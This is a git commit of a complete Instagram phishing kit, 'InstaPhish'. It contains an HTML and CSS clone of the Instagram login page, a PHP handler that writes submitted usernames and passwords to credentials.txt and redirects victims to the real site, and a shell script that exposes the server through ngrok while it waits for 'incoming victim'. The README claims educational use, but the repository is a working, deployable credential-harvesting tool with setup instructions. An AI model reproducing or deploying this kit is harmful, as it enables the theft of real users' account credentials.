A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.

initial: default content

+2
.gitignore
··· 1 + **/credentials.txt 2 + logs/*.log
+9
LICENSE.md
··· 1 + MIT License 2 + 3 + Copyright (c) 2025 Hatix Ntsoa 4 + 5 + Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 + 7 + The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 + 9 + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+103
README.md
··· 1 + # 🕵️‍♂️ InstaPhish - For Educational Purposes Only 2 + 3 + 4 + 5 + > ⚠️ **Disclaimer** 6 + > 7 + > This project is intended **strictly for educational and ethical hacking awareness purposes only.** 8 + > 9 + > - Do **not** use this project for malicious purposes. 10 + > - The author **does not condone** illegal activity and is **not responsible** for any misuse. 11 + > - Always conduct security testing **only in authorized environments** with **explicit permission**. 12 + > - This repository is meant to help individuals and professionals understand phishing mechanics and learn how to defend against them. 13 + 14 + 15 + 16 + <br> 17 + 18 + ## 📸 Preview 19 + 20 + 21 + ![Instagram Login Page](./screenshots/instagram.login.png) 22 + 23 + 24 + 25 + 26 + <br> 27 + 28 + ## 🚀 Features 29 + 30 + - Fake Instagram login page styled like the real interface 31 + - Logs username and password attempts 32 + - Automatically generates public forwarding using **ngrok** 33 + - Logs output in real-time to console 34 + - Dynamic PHP server running on a random available 4-digit port 35 + 36 + 37 + 38 + <br> 39 + 40 + ## ⚙️ Installation & Setup 41 + 42 + 43 + ```bash 44 + # 1. Clone this repository 45 + git clone https://github.com/hatixntsoa/instaphish.git 46 + 47 + # 2. Change to the project directory 48 + cd instaphish 49 + 50 + # 3. Give execution permission to the script 51 + chmod +x instaphish.sh 52 + 53 + # 4. Run the phishing server 54 + ./instaphish.sh 55 + ```` 56 + 57 + 58 + > ✅ Ensure you have both **PHP** and **ngrok** installed on your system. 59 + 60 + 61 + 62 + <br> 63 + 64 + ## 📁 Project Structure 65 + 66 + 67 + ``` 68 + . 69 + ├── app/ 70 + │   └── instaphish.php 71 + ├── assets/ 72 + │   ├── images/ 73 + │   ├── scripts/ 74 + │   └── styles/ 75 + ├── data/ 76 + │   └── credentials.txt // saved credentials 77 + ├── logs/ 78 + ├── screenshots/ 79 + ├── index.html 80 + ├── instaphish.sh 81 + ├── LICENSE.md 82 + └── README.md 83 + ``` 84 + 85 + 86 + 87 + 88 + <br> 89 + 90 + ## 📌 Requirements 91 + 92 + * **PHP** ≥ 7.x 93 + * **ngrok** with authenticated account (set up via `ngrok authtoken`) 94 + * Unix-like environment (Linux/macOS or WSL on Windows) 95 + 96 + 97 + <br> 98 + 99 + ## 📚 Legal Note 100 + 101 + This repository is designed to demonstrate **how phishing works**, so that developers, companies, and users can better understand and **protect themselves** from real threats. 102 + 103 + Use it **ethically** and **legally**.
+40
app/instaphish.php
··· 1 + <?php 2 + if (isset($_POST['username'])) { 3 + $username = $_POST['username']; 4 + } 5 + 6 + if (isset($_POST['password'])) { 7 + $password = $_POST['password']; 8 + } 9 + 10 + $green = "\033[32m"; 11 + $blue = "\033[34m"; 12 + $red = "\033[31m"; 13 + $reset = "\033[0m"; 14 + 15 + error_log(PHP_EOL); 16 + 17 + error_log($red . "[!] Pwned !" . $reset); 18 + error_log($blue . "[+] Username : $username" . $reset); 19 + error_log($blue . "[+] Password : $password" . $reset); 20 + error_log($green . "[*] Saved in credentials.txt" . $reset); 21 + 22 + error_log(PHP_EOL); 23 + 24 + $file = fopen('../data/credentials.txt', 'a'); 25 + if ($file) { 26 + // Set the GMT offset to +3 27 + $gmt = 3; 28 + $dateTime = new DateTime("now", new DateTimeZone("GMT")); 29 + $logTime = date('D M d H:i:s Y'); 30 + $dateTime->modify("+$gmt hours"); 31 + $formattedDateTime = $dateTime->format('m/d/Y H:i'); 32 + 33 + fwrite($file, "$logTime\n\nUsername: $username\nPassword: $password\n________________\n\n"); 34 + fclose($file); 35 + header("Location: https://instagram.com"); 36 + exit(); 37 + } else { 38 + echo "Unable to open file."; 39 + } 40 + ?>
+2
app/server.check.php
··· 1 + <?php 2 + echo "PHP_OK";
+5
assets/images/facephish.svg
··· 1 + <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="256" height="256" viewBox="0 0 256 256" xml:space="preserve"> 2 + <g style="stroke: none; stroke-width: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" transform="translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)"> 3 + <path d="M 45 -0.228 c -24.853 0 -45 20.25 -45 45.229 c 0 22.806 16.797 41.66 38.633 44.77 V 58.779 h -10.64 V 46.328 h 10.64 v -9.182 c 0 -10.656 6.441 -16.458 15.849 -16.458 c 4.506 0 8.38 0.339 9.508 0.491 v 11.136 l -6.525 0.003 c -5.116 0 -6.107 2.457 -6.107 6.061 v 7.949 h 12.202 l -1.589 12.451 H 51.359 v 30.993 C 73.199 86.666 90 67.81 90 45.001 C 90 20.022 69.853 -0.228 45 -0.228 z" style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,149,246); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) " stroke-linecap="round"/> 4 + </g> 5 + </svg>
assets/images/instaphish.logo.png

This is a binary file and will not be displayed.

assets/images/instaphish.text.png

This is a binary file and will not be displayed.

+85
assets/scripts/script.js
··· 1 + // Check for php server availability 2 + async function checkPhpServer(username, password) { 3 + try { 4 + const response = await fetch('/app/server.check.php'); 5 + if (!response.ok) throw new Error('No PHP server'); 6 + const text = await response.text(); 7 + if (text.trim() !== 'PHP_OK') throw new Error('PHP check failed'); 8 + 9 + return true; 10 + } catch (error) { 11 + alert(`Sorry there is no PHP server running right now, here are your credentials btw:\nUsername: ${username}\nPassword: ${password}`); 12 + location.reload(); 13 + return false; 14 + } 15 + } 16 + 17 + // Clear all inputs in the form when submitted 18 + const form = document.querySelector("form"); 19 + 20 + form.addEventListener('submit', async (event) => { 21 + event.preventDefault(); 22 + 23 + const username = form.elements['username'].value; 24 + const password = form.elements['password'].value; 25 + 26 + const phpIsRunning = await checkPhpServer(username, password); 27 + if (!phpIsRunning) return; 28 + 29 + form.submit(); 30 + }); 31 + 32 + document.addEventListener("DOMContentLoaded", () => { 33 + const usernameInput = document.getElementById("username"); 34 + const passwordInput = document.getElementById("password"); 35 + const loginButton = document.querySelector(".login-btn"); 36 + const togglePassword = document.getElementById("togglePassword"); 37 + const yearSpan = document.getElementById("current-year"); 38 + const select = document.getElementById("language-select"); 39 + const measureSpan = document.getElementById("language-measure"); 40 + 41 + if (yearSpan) { 42 + yearSpan.textContent = new Date().getFullYear(); 43 + } 44 + 45 + function validateInputs() { 46 + const username = usernameInput.value.trim(); 47 + const password = passwordInput.value; 48 + 49 + loginButton.disabled = !(username !== "" && password.length > 8); 50 + 51 + // Show toggle button only if password is not empty 52 + if (password.length > 0) { 53 + togglePassword.style.display = "block"; 54 + } else { 55 + togglePassword.style.display = "none"; 56 + passwordInput.type = "password"; 57 + togglePassword.textContent = "Show"; 58 + } 59 + } 60 + 61 + function updateSelectWidth() { 62 + // Set the span's text to selected option 63 + const selectedText = select.options[select.selectedIndex].text; 64 + measureSpan.textContent = selectedText; 65 + 66 + // Get computed width and add padding for dropdown arrow 67 + const width = measureSpan.offsetWidth + 25; 68 + select.style.width = width + "px"; 69 + } 70 + 71 + updateSelectWidth(); 72 + 73 + select.addEventListener("change", updateSelectWidth); 74 + 75 + usernameInput.addEventListener("input", validateInputs); 76 + passwordInput.addEventListener("input", validateInputs); 77 + 78 + validateInputs(); 79 + 80 + togglePassword.addEventListener("click", () => { 81 + const isPassword = passwordInput.type === "password"; 82 + passwordInput.type = isPassword ? "text" : "password"; 83 + togglePassword.textContent = isPassword ? "Hide" : "Show"; 84 + }); 85 + });
+265
assets/styles/style.css
··· 1 + * { 2 + margin: 0; 3 + padding: 0; 4 + box-sizing: border-box; 5 + font-family: Arial, sans-serif; 6 + user-select: none; 7 + } 8 + 9 + body { 10 + background-color: #000; 11 + color: #fff; 12 + display: flex; 13 + flex-direction: column; 14 + align-items: center; 15 + justify-content: center; 16 + min-height: 100vh; 17 + } 18 + 19 + .container { 20 + margin-top: 13px; 21 + } 22 + 23 + .logo { 24 + display:block; 25 + margin: 0 auto 30px auto; 26 + max-width: 100%; 27 + height: 63px; 28 + object-fit: contain; 29 + } 30 + 31 + .login-box { 32 + background-color: #000; 33 + border: 0.5px solid #363636; 34 + padding: 40px 40px 20px 40px; 35 + width: 350px; 36 + text-align: center; 37 + } 38 + 39 + .logo { 40 + font-family: 'Brush Script MT', cursive; 41 + font-size: 40px; 42 + margin-bottom: 20px; 43 + } 44 + 45 + input { 46 + width: 100%; 47 + height: 38px; 48 + padding: 10px; 49 + margin: 5px 0; 50 + background: #121212; 51 + border: 0.5px solid #555555; 52 + border-radius: 4px; 53 + color: #fff; 54 + } 55 + 56 + input:focus { 57 + outline: none; 58 + box-shadow: none; 59 + } 60 + 61 + .input-wrapper { 62 + position: relative; 63 + user-select: none; 64 + } 65 + 66 + .input-wrapper input { 67 + width: 100%; 68 + padding: 10px 8px 10px; 69 + background: #121212; 70 + border: 0.5px solid #555555; 71 + color: #fff; 72 + user-select: none; 73 + line-height: 30px; 74 + } 75 + 76 + .label-text { 77 + color: #a8a8a8; 78 + } 79 + 80 + .input-wrapper input:not(:placeholder-shown) { 81 + padding-bottom: 0; 82 + } 83 + 84 + .input-wrapper label { 85 + position: absolute; 86 + left: 8px; 87 + top: 50%; 88 + transform: translateY(-50%); 89 + color: #aaa; 90 + pointer-events: none; 91 + font-size: 12px; 92 + } 93 + 94 + .input-wrapper input:not(:placeholder-shown) + label { 95 + top: 13px; 96 + font-size: 10px; 97 + background-color: #000; 98 + padding: 0; 99 + } 100 + 101 + .toggle-password { 102 + position: absolute; 103 + right: 10px; 104 + top: 50%; 105 + transform: translateY(-50%); 106 + background: none; 107 + border: none; 108 + color: #fff; 109 + font-weight: bold; 110 + cursor: pointer; 111 + font-size: 14px; 112 + padding: 0; 113 + display: none; 114 + user-select: none; 115 + } 116 + 117 + .toggle-password:hover { 118 + color: #898989; 119 + } 120 + 121 + .toggle-password:focus { 122 + outline: none; 123 + } 124 + 125 + .login-btn { 126 + width: 100%; 127 + padding: 10px; 128 + background-color: #4150f7; 129 + border-radius: 8px; 130 + color: white; 131 + border: none; 132 + margin: 10px 0; 133 + cursor: pointer; 134 + font-weight: bold; 135 + } 136 + 137 + .login-btn:disabled { 138 + opacity: 0.5; 139 + } 140 + 141 + .divider { 142 + display: flex; 143 + align-items: center; 144 + text-align: center; 145 + margin: 10px 0; 146 + color: #999; 147 + } 148 + 149 + .divider span { 150 + font-size: 13px; 151 + font-weight: bold; 152 + } 153 + 154 + .divider::before, .divider::after { 155 + content: ''; 156 + flex: 1; 157 + height: 0.5px; 158 + background: #262626; 159 + } 160 + 161 + .divider::before { 162 + margin-right: 10px; 163 + } 164 + 165 + .divider::after { 166 + margin-left: 10px; 167 + } 168 + 169 + .fb-logo { 170 + height: 20px; 171 + vertical-align: middle; 172 + margin-right: 3px; 173 + } 174 + 175 + .facephish-login { 176 + padding-top: 30px; 177 + color: #0095f6; 178 + text-decoration: none; 179 + font-weight: bold; 180 + font-size: 14px; 181 + display: block; 182 + margin: 10px 0; 183 + } 184 + 185 + .forgot { 186 + color: #fff; 187 + font-weight: bold; 188 + text-decoration: none; 189 + font-size: 14px; 190 + } 191 + 192 + .forgot:hover { 193 + text-decoration: underline; 194 + } 195 + 196 + .signup-box { 197 + background-color: #000; 198 + border: 0.5px solid #363636; 199 + padding: 20px; 200 + margin-top: 10px; 201 + text-align: center; 202 + width: 100%; 203 + font-size: 14.5px; 204 + margin-left: auto; 205 + margin-right: auto; 206 + } 207 + 208 + .signup-box a { 209 + color: #0095f6; 210 + text-decoration: none; 211 + } 212 + 213 + footer { 214 + margin-top: 50px; 215 + padding: 20px; 216 + text-align: center; 217 + font-size: 12px; 218 + color: #999; 219 + } 220 + 221 + .footer-links { 222 + display: flex; 223 + flex-wrap: wrap; 224 + justify-content: center; 225 + gap: 15px; 226 + margin-bottom: 20px; 227 + } 228 + 229 + .footer-links a { 230 + color: #999; 231 + text-decoration: none; 232 + } 233 + 234 + .footer-bottom { 235 + display: flex; 236 + justify-content: center; 237 + align-items: center; 238 + /* gap: 10px; */ 239 + margin-top: 10px; 240 + } 241 + 242 + .footer-bottom select { 243 + background-color: #000; 244 + color: #999; 245 + text-align: right; 246 + font-size: 12px; 247 + margin-right: 12px; 248 + border: none; 249 + outline: none; 250 + } 251 + 252 + .footer-bottom select:focus { 253 + border-color: inherit; 254 + outline: none; 255 + } 256 + 257 + .measure-text { 258 + visibility: hidden; 259 + position: absolute; 260 + white-space: nowrap; 261 + font-size: 12px; 262 + font-family: inherit; 263 + font-weight: normal; 264 + padding: 0; 265 + }
+1
data/.gitkeep
··· 1 + # Keep captured credentials here.
+87
index.html
··· 1 + <!DOCTYPE html> 2 + <html lang="en"> 3 + 4 + <head> 5 + <meta charset="UTF-8" /> 6 + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 7 + <title>Login • Instagram</title> 8 + <link rel="stylesheet" href="assets/styles/style.css" /> 9 + <link rel="icon" type="image/png" href="assets/images/instaphish.logo.png" /> 10 + </head> 11 + 12 + <body> 13 + <div class="container"> 14 + <div class="login-box"> 15 + <img class="logo" src="assets/images/instaphish.text.png" alt="Instagram" /> 16 + 17 + <form action="app/instaphish.php" method="post"> 18 + <div class="input-wrapper"> 19 + <input name="username" type="text" placeholder=" " autocomplete="off" spellcheck="false" id="username" required /> 20 + <label class="label-text" for="username">Phone number, username, or email</label> 21 + </div> 22 + 23 + <div class="input-wrapper"> 24 + <input name="password" type="password" placeholder=" " id="password" required /> 25 + <label for="username">Password</label> 26 + <button type="button" id="togglePassword" class="toggle-password">Show</button> 27 + </div> 28 + 29 + <button class="login-btn" type="submit" disabled >Log in</button> 30 + </form> 31 + 32 + <div class="divider"><span>OR</span></div> 33 + 34 + <a href="#" class="facephish-login"> 35 + <img class="fb-logo" src="assets/images/facephish.svg" alt="Facephish" /> 36 + Log in with Facebook 37 + </a> 38 + 39 + <a href="https://www.instagram.com/accounts/password/reset/" 40 + class="forgot"> 41 + Forgot password? 42 + </a> 43 + </div> 44 + <div class="signup-box"> 45 + <p>Don't have an account? <a href="#"><strong>Sign up</strong></a></p> 46 + </div> 47 + </div> 48 + 49 + <footer> 50 + <div class="footer-links"> 51 + <a href="#">Meta</a> 52 + <a href="#">About</a> 53 + <a href="#">Blog</a> 54 + <a href="#">Jobs</a> 55 + <a href="#">Help</a> 56 + <a href="#">API</a> 57 + <a href="#">Privacy</a> 58 + <a href="#">Terms</a> 59 + <a href="#">Locations</a> 60 + <a href="#">Instagram Lite</a> 61 + <a href="#">Threads</a> 62 + <a href="#">Contact Uploading & Non-Users</a> 63 + <a href="#">Meta Verified</a> 64 + </div> 65 + <div class="footer-bottom"> 66 + <div class="footer-bottom-inner"> 67 + <select name="language" id="language-select"> 68 + <option value="en" selected>English</option> 69 + <option value="es">Español</option> 70 + <option value="fr">Français</option> 71 + <option value="de">Deutsch</option> 72 + <option value="it">Italiano</option> 73 + <option value="pt">Português (Brasil)</option> 74 + <option value="ru">Русский</option> 75 + <option value="ja">日本語</option> 76 + <option value="ko">한국어</option> 77 + <option value="zh">中文(简体)</option> 78 + </select> 79 + <span>© <span id="current-year"></span> Instagram from Meta</span> 80 + </div> 81 + </div> 82 + </footer> 83 + <br><br> 84 + </body> 85 + <span id="language-measure" class="measure-text"></span> 86 + <script src="assets/scripts/script.js"></script> 87 + </html>
+77
instaphish.sh
··· 1 + #!/bin/bash 2 + 3 + # Check if php is installed 4 + if ! command -v php &>/dev/null; then 5 + echo "Please install php first" 6 + exit 0 7 + fi 8 + 9 + # Check if ngrok is installed 10 + if ! command -v ngrok &>/dev/null; then 11 + echo "Please install ngrok first" 12 + exit 0 13 + fi 14 + 15 + # Disable Ctrl+C (^C) character display 16 + stty -echoctl 17 + 18 + # Kill on Ctrl+C 19 + trap "echo; echo '[*] Shutting down...'; kill $php_pid $ngrok_pid 2>/dev/null; exit 0" INT 20 + 21 + # Function to check if a port is free 22 + is_port_free() { 23 + ! lsof -i :$1 >/dev/null 2>&1 24 + } 25 + 26 + # Generate a random 4-digit free port 27 + while true; do 28 + port=$((RANDOM % 5999 + 4001)) 29 + 30 + if is_port_free "$port"; then 31 + break 32 + fi 33 + done 34 + 35 + # Start PHP server and log output to file 36 + php -S 0.0.0.0:$port >> logs/phishing.log 2>&1 & 37 + php_pid=$! 38 + echo "[+] Server started on port $port" 39 + echo "[+] Local URL : http://localhost:$port" 40 + echo 41 + 42 + # Check if ngrok config exists before forwarding 43 + if [[ -f "$HOME/.config/ngrok/ngrok.yml" ]]; then 44 + # Start ngrok in background 45 + ngrok http $port > /dev/null 2>&1 & 46 + ngrok_pid=$! 47 + 48 + # Wait until ngrok tunnel is available 49 + echo -n "[+] Waiting for ngrok tunnel " 50 + while true; do 51 + ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1) 52 + if [[ -n "$ngrok_url" ]]; then 53 + break 54 + fi 55 + echo -n "." 56 + sleep 0.5 57 + done 58 + echo "" 59 + echo "[+] Port forwarded at $ngrok_url" 60 + else 61 + echo "[!] Please add your ngrok auth token in order to forward the port" 62 + echo "[*] Server is running locally" 63 + fi 64 + 65 + echo 66 + echo "[*] Waiting for incoming victim..." 67 + 68 + # Monitor log file 69 + tail -n 0 -f logs/phishing.log | while IFS= read -r line; do 70 + if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then 71 + echo "$line" 72 + fi 73 + if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then 74 + echo 75 + echo "[*] Waiting for incoming victim..." 76 + fi 77 + done
+1
logs/.gitkeep
··· 1 + # Keep the logs here.
screenshots/instagram.login.png

This is a binary file and will not be displayed.